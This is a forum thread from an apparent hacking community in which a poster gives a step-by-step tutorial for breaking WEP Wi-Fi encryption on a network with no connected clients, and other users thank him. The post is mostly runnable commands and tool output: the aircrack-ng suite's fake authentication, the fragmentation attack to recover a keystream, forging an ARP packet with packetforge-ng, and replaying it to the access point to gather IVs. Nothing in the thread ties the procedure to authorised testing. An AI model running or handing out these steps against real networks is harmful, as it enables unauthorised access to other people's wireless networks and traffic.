iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
Wireless Network Penetration: Follow Up WEP without Station
  • nice2kn0w
    Posts: 4
    Hi guys,
    i wrote this tutorial as follow up to semtex-primed Wireless Network Penetration WEP Encryption semtex-primed Wireless Network Penetration: WEP Encryption
    so that we can collect ideas and maybe give some additional ways on how to break WEP especially when no station is associated to the wireless network. The most effective ways to do this is by replaying a previously captured file or by generating our own packet. I may cover the first one in another tutorial, for this one I will use the later by utilising the fragmentation attack.

    So to generate our own packet it's important to generate a packet which will definetely be accepted. This requires two things

    1. our MAC address is associated with the wireless network
    2. the generated packet is an ARP request packet with a particular flag set, namely the FromDS bit.

    I assume that you already know how to configure your network card and set it into monitor mode.

    Ok, let's get it on ...

    start your card in monitor mode (replace wlan0 with your wifi card)


    # airmon-ng start wlan0



    check if everything worked well by using 

    # iwconfig

    mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=27 dBm
              Retry min limit:7   RTS thr:off   Fragment thr:off
              Encryption key:off
              Power Management:off
              Link Quality:0  Signal level:0  Noise level:0
              Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
              Tx excessive retries:0  Invalid misc:0   Missed beacon:0


    Note: Mode says "Monitor" which is what we want :)


    start airodump ( in my example i am using channel 10 and i am writing to file wep-no-sta ) 

    # airodump-ng --channel 10 -w wep-no-sta mon


    do a fake authentication with the AP (in my example the AP is = 55:44:33:22:11:00 and attacking client is = 00:11:22:33:44:55) 


    # aireplay-ng -1 0 -e <essid> -b  55:44:33:22:11:00 mon0 

    waiting for beacon frame (ESSID: <essid>) on channel 10
    Found BSSID \"55:44:33:22:11:00\" to given ESSID \"<essid>\".

    05:26:41  Sending Authentication Request (Open System) [ACK]
    05:26:41  Authentication successful
    05:26:41  Sending Association Request [ACK]
    05:26:41  Association successful :-) (AID: 1)




    Excellent, now we can start the fragmentation attack, which has some limitations you should be aware of:
    prism chips seem to suck with that attack
    the MAC of the card has to be the source of the attack (option -h)



    # aireplay-ng -5 -b 55:44:33:22:11:00 -h 00:11:22:33:44:55 mon0
    04:54:41  Waiting for beacon frame (BSSID: 55:44:33:22:11:00) on channel 10
    04:54:41  Waiting for a data packet...
    Read 725 packets...

            Size: 344, FromDS: 1, ToDS: 0 (WEP)

                  BSSID  =    55:44:33:22:11:00
              Dest. MAC  =   XX:XX:XX:XX:XX:XX
             Source MAC  =  55:44:33:22:11:00

    //--CUT FOR OWN SAFETY, YOU KNOW GUYS SAFETY FIRST :)

    Use this packet ? y


    Note: YOU HAVE TO SAY "y" TO ACCEPT THE PACKET
    Can you see the flag set to FromDS ? :)


    After you typed in "y" the output will look as follows

    Saving chosen packet in replay_src-0528-045527.cap
    04:59:19  Data packet found!
    04:59:19  Sending fragmented packet
    04:59:19  Got RELAYED packet!!
    04:59:19  Trying to get 384 bytes of a keystream
    04:59:19  Got RELAYED packet!!
    04:59:19  Trying to get 1500 bytes of a keystream
    04:59:19  Got RELAYED packet!!
    Saving keystream in fragment-0528-045919.xor
    Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


    Yeah we have obtained a keystream! I won't explain any math about this file, if you are interested in it search for WEP RC4 weakness. Let's make something more interesting! :) Let's generate a packet

    Note: we will use packetforge-ng with the just generated keystream "fragment-0528-045919.xor" as the previous output says to create an arp packet. This requires the knowledge of a source and destination IP address. Well, this is not true for most of the access points in the wild because they just accept a source and destination of 255.255.255.255 which makes the task much more easier :) OK, let's get our hands dirty


    # packetforge-ng -0 -a 55:44:33:22:11:00 -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0528-045919.xor -w arpforge

    Wrote packet to: arpforge



    Ok, let's have a look in this packet 

    # tcpdump -e -vvv -n -s0 -r arpforge
    reading from file arpforge, link-type IEEE802_11 (802.11)
    05:55:31.757099 WEP Encrypted 258us BSSID:55:44:33:22:11:00 SA:00:11:22:33:44:55 DA:ff:ff:ff:ff:ff:ff Data IV:96f08 Pad 0 KeyID 0


    Brillian, a wep encrypted arp packet, now what? Let's send it back to our AP 

    # aireplay-ng -2 -r arpforge mon0
    No source MAC (-h) specified. Using the device MAC (00:11:22:33:44:55)


            Size: 68, FromDS: 0, ToDS: 1 (WEP)

                  BSSID  =  55:44:33:22:11:00
              Dest. MAC  =  FF:FF:FF:FF:FF:FF
             Source MAC  = 00:11:22:33:44:55

    //--CUT YOU KNOW WHY !!!

    Use this packet ? y



    ENJOY WATCHING YOUR IV's grow :)

    Thanks for reading this guys, if you find any mistakes, please let me know,

    Cheers,

    nice2kn0w
  • Xin
    Posts: 3,251
    Another great tutorial :D, you should use the 
    [hide]hiddencontenthere[/hide]
    tags so people dont juust leech/read without thanking ya :)
    Xin
  • nice2kn0w
    Posts: 4
    said:


    Another great tutorial :D, you should use the 

    [hide]hiddencontenthere[/hide]
    tags so people dont juust leech/read without thanking ya :)


    alright, next time :)
  • h4ckingURLife
    Posts: 125
    Thanks for the tut. Will try on BT4 sometime. :)
    Bookmarked.
Add a Comment